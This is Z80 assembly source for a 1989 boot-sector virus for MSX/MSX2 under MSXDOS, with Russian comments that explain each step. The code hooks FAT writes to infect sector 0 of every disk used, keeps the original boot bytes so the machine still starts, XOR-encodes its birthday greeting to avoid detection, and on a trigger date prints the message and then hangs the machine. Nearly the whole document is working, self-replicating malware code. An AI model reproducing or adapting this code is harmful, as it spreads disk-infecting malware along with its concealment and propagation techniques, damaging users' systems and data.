; ─┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬│
; ┴         Вирус, поздравляющий с днем рождения        ┴
; ┴           для машин MSX, MSX2 в ОС MSXDOS           ┴
; ┴    П.Земцов, Е.Налимов, Новосибирск, июль 1989 г.   ┴
; ┌┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┬┐
;
        .Z80
        .phase 0             ; Для кодирования текстов;
                             ; В памяти программа всегда находится с
                             ; с "круглого" адреса
; Адреса в ПЗУ дисковода. Совпадают на MSX и MSX2
CHPUT   equ     408Fh        ; Выдача символ в A на экран
DSKRD   equ     46BAh        ; Чтение секторов.
                             ;  Вход:  H - число секторов
                             ;         L - номер дисковода
                             ;        DE - номер сектора
                             ; Выход: считанные сектора в памяти,
                             ; по адресу, записанному в StDMA
DSKWR   equ     4720h        ; Запись секторов, интерфейс совпадает с
                             ; интерфейсом DSKRD
DateIn  equ     553Ch        ; Выдает в HL дату: D = месяц, E = день
;
BootPage equ    0C000h       ; По адресу Bootpage загружается половина
                             ; нулевого сектора  диска в момент рестар╨
StEntry equ     001Fh        ; та по адресу  Bootpage + StEntry попада╨
                             ; ет управление после загрузки нулевого
                             ; сектора
; Адреса системных ячеек DOS
StDMA   equ     0F23Dh       ; Адрес данных  для подпрограмм дискового
                             ; обмена
StDrive equ     0F2E1h       ; Номер текущего дисковода
HIMEM   equ     0F34Bh       ; Здесь в момент загрузки системы записан
                             ; адрес  свободной  памяти: вся память по
                             ; адресам, меньшим записанного здесь, сво╨
                             ; бодна
BUFFER  equ     0F34Dh       ; Адрес одного из буферов ДОСа; длина  бу╨
                             ; фера 512 байт (длина одного сектора)
Begin   equ     0F351h       ; В момент загрузки  системы указывает на
                             ; адрес загрузки 0 сектора; После  загруз╨
                             ; ки его сюда половина его (байты от
                             ; (Begin) до (Begin)+0FFh) переписывается
                             ; по адресу Bootpage
SETROM  equ     0F368h       ; Признак нахождения в DOS или в BASIC:
                             ; в BASIC содержит 0C3h (команду RET)
; Адреса в области ловушек
Hook         equ    0F26Dh   ; Ловушка на записи FAT
Hook2        equ    0FDC7h   ; Ловушка на INITPAT
Hook2Place   equ    0FF11h   ; Место для Hook2
; Константы
.RET    equ     0C9h
month   equ     **           ; День, в который срабатывает вирус
day     equ     **
; Часть, работающая в момент загрузки системы.
; ┌Назначение:─ захватить 256 байт памяти для размещения вируса, перепи╨
; сать туда весь вирус, подключить ловушки Hook и Hook2 и вернуться.
; Если дата равна дате срабатывания, вызвать "полезный" эффект.
VBeg:
        push  af
        push  de
        push  hl
        ld    de,Rettable-VBeg
        add   hl,de
        ld    de,BootPage+StEntry
        ld    bc,6
        ldir

        ld    hl,(HIMEM)
        ld    l,c            ; Разместились с границы страницы
        dec   h              ;
        ld    (HIMEM),hl     ; Получили 1 страницу
                             ;
        ex    de,hl          ; Переслать тело ловушки на место
        pop   hl
        push  de
        inc   b
        ldir

        pop   hl             ; Установить ловушки
        ld    l,low HookBody
        ld    (Hook+1),hl
        push  hl
        ld    a,0C3h
        ld    (Hook),a

        ld    (Hook2),a
        ld    l,low Hook2Body
        ld    de,Hook2Place+1
        ld    (Hook2+1),de
        ld    c,Hook2Len
        ldir

        call   DateIn        ; Проверить дату
        ld     hl,month*256+day
        xor    a
        sbc    hl,de
        pop    hl
        ld     l,low PutMess
        jr     z,jhl

        pop    de
        pop    af
        pop    hl
        jp     BootPage+StEntry
; Для вызова нашей подпрограммы в момент загрузки системы необходимо,
; чтобы в байтах StEntry..StEntry+5 0-го сектора был записан код для
; вызова инициализатора вируса. Именно он и называется "Образец". Но
; после завершения инициализации необходимо выполнить и те действия,
; код для которых в незараженном 0-м секторе находится по данным адре╨
; сам.
; Самый простой способ это сделать - это хранить "старые" 6 байтов и,
; получив управление, переписать их на их законное место, и передать
; затем управление по адресу BootRage+StEntry. Именно этот старый код и
; находится в таблице Rettable - его туда помещает распространяющая ви╨
; рус часть.
Rettable:
        ds     6,0
; Образец (тоже 6 байтов)
        push   hl
        ld     hl,(Begin)
        inc    h
jhl:    jp     (hl)
; Собственно ┌текст поздравления.─ Он хранится в обратном порядке с целью
; оптимизации кода. Текст зашифрован, чтобы случайное прочтение 0-го
; сектора не выдало вирус. Для зашифровки используется операция XOR,
; примененная к байту текста и младшему байту адреса
char    MACRO  par
        db     (par) xor low $
        endm

        char   0
        char   '!'
        char   ' '
        char   'я'
        char   'и'
        char   'н'
        char   'е'
        char   'д'
        char   'ж'
        char   'о'
        char   'р'
        char   ' '
        char   'м'
        char   'е'
        char   'н'
        char   'д'
        char   ' '
        char   'с'
        char   ' '
        char   'у'
        char   'ш'
        char   'а'
        char   'т'
        char   'а'
        char   'Н'
        char   ' '
        char   'м'
        char   'е'
        char   'я'
        char   'л'
        char   'в'
        char   'а'
        char   'р'
        char   'д'
        char   'з'
        char   'о'
        char   'П'
        char   ' '
        char   ' '
        char   20h+1
        char   20h+11
        char   'Y'
        char   01Bh
        char   00Ch
; Собственно тело ловушки - полезная работа + размножение
HookBody:
        push   ix
        push   iy

        call   DateIn
        ld     hl,month*256+day
        xor    a
        sbc    hl,de
        jr     nz,neq
; Видимый эффект вируса - ┌выдача поздравления
PutMess:
        ld     hl,(Hook+1)
Loop:
        dec    l
        ld     a,(hl)
        xor    l
LoopL:  jr     z,LoopL
        call   CHPUT
        jr     Loop

; ┌Размножение вируса.─ С диска считывается  0-й сектор  (незараженный),
; в его вторую половину записывается вирус и устраивается переход
; на него в момент загрузки, затем 0-й сектор записывается назад.
neq:
        ld     hl,(stDMA)    ; Сохранить старое значение адреса обмена
        push   hl            ;
        ld     hl,(Buffer)   ; Установить адрес обмена  равным  адресу
        push   hl            ; буфера DOS
        ld     (stDMA),hl    ;
        ld     d,a           ; Считать 0-й сектор
        ld     e,a
        ld     hl,(StDrive)
        ld     h,1
        call   DSKRD

        ld     bc,StEntry
        pop    hl            ; Если сектор уже заражен, то ничего не
        add    hl,bc         ; делать
        ld     a,(hl)
        .8080
        cpi    (push h)
        .z80
        jr     z,Return
                              ; Модифицировать сектор
        ld     de,(Hook+1)    ; Сохранение  старых  6 байтов считанного
        ld     e,low Rettable ; сектора
        ld     c,6            ; (байты StEntry..StEntry+5)
        push   hl
        ldir
        ex     de,hl         ; Запись кода для перехода
        pop    de            ; в инициализатор вируса
        ld     c,6
        ldir

        ld     l,c           ; Перепись самого вируса в байты
        ld     de,(Buffer)   ; 100h..1FFh считанного сектора
        inc    d
        inc    b
        ldir

        ld     d,c           ; Запись 0-го сектора
        ld     e,c
        ld     hl,(StDrive)
        ld     h,1
        call   DSKWR
Return:
        pop    hl            ; Восстановление старого значения  адреса
        ld     (stDMA),hl    ; обмена
        pop    iy
        pop    ix
        ret
; Отключению ловушек в при переходе в BASIC. Вызывается из подпрограммы
; INITPAT, которая устанавливает для BASIC режим экрана и начертание
; символов. Она вызывается всегда при переходе в BASIC, поэтому это
; удобное место для "перехвата" такого перехода с целью отключения ви╨
; руса
Hook2Body:
        ld     a,(SETROM)
        cp     .RET          ; Каждый 5-й байт равен .RET

        ret    nz
        nop
        nop
        ld     a,.RET
        ld     (HOOK),a
        ld     a,.RET
        ld     (HOOK2),a
        ret

Hook2Len equ   $-Hook2Body
        .dephase
        END
